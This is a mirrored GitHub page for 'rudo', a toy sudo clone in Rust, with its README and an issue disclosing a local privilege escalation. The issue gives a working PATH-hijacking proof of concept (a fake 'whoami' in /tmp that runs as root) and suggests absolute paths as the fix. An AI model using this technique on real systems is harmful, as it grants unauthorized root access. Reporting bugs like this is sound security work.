Giter Club home page Giter Club logo

rudo's Introduction

rudo

rudo is a toy sudo clone written in Rust that aims to serve as a learning tool as well as (potentially) a useful system administration tool.

DISCLAIMER: This is a toy. This has not undergone any formal security analysis. I am not a security expert. Use at your own risk.

Why?

I wanted to learn Rust by writing a project that would highlight its strengths as a safe systems programming language. Many other command-line utilities have been rewritten in Rust, but to my knowledge sudo has not.

Eventually, rudo may reach a high level of security and usability and become useful as a system administration tool, but for now it's mostly an experiment.

Supported Platforms

rudo has been tested on both Linux and macOS, but it should work on any *nix with PAM.

Automatic Installation

To automatically install rudo, simply clone the repository and run the included install.sh as root. Note that you will need a Rust environment (I recommend using rustup) as well as the PAM header files for your system.

$ git clone https://github.com/shawnanastasio/rudo
# ./install.sh

Once the installation is complete, you can edit the configuration file at /etc/rudo.json to include your user.

Example:

{
  "prompt": "Password: ",
  "allowed_users": [
    {
      "username": "root",
      "permissions": { "allowed_commands": [ "*" ] }
    },
    {
      "username": "shawnanastasio",
      "permissions": { "allowed_commands": [ "whoami", "ls" ] }
    }
  ]
}

To enable (experimental) TouchID on newer macs, call ./install.sh with --features macos_extra:

# ./install.sh --features macos_extra

Once the feature is enabled, rudo will attempt to authenticate with TouchID. If TouchID authentication fails, rudo will fall back to PAM password authentication.

Manual Installation

See install.sh for full list of steps.

TODO

  • Add more granular control over permissions system
  • Make configuration file less ugly

License

All code is licensed under the MIT license. See LICENSE for more information.

Fork Me

Pull requests and suggestions are welcome!

rudo's People

Contributors

shawnanastasio avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

Forkers

boogy isgasho

rudo's Issues

rudo/0.2 Local Privilege Escalation

Using the example config, with a standard user account:

{
  "prompt": "Password: ",
  "session_timeout_sec": 900,
  "allowed_users": [
    {
      "username": "root",
      "permissions": {
        "allowed_commands": [
          "*"
        ]
      }
    },
    {
      "username": "nobody",
      "permissions": { "allowed_commands": [ "whoami", "ls" ] }
    }
  ]
}

A standard user can execute arbitrary commands by manipulating the PATH variable (id shown):

$ cd /tmp
$ echo -e '#!/bin/bash\n/usr/bin/id' > whoami
$ chmod +x whoami
$ PATH=/tmp
$ /usr/local/bin/rudo whoami
uid=0(root) gid=0(root) groups=0(root)

Suggested fix: Use absolute paths

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.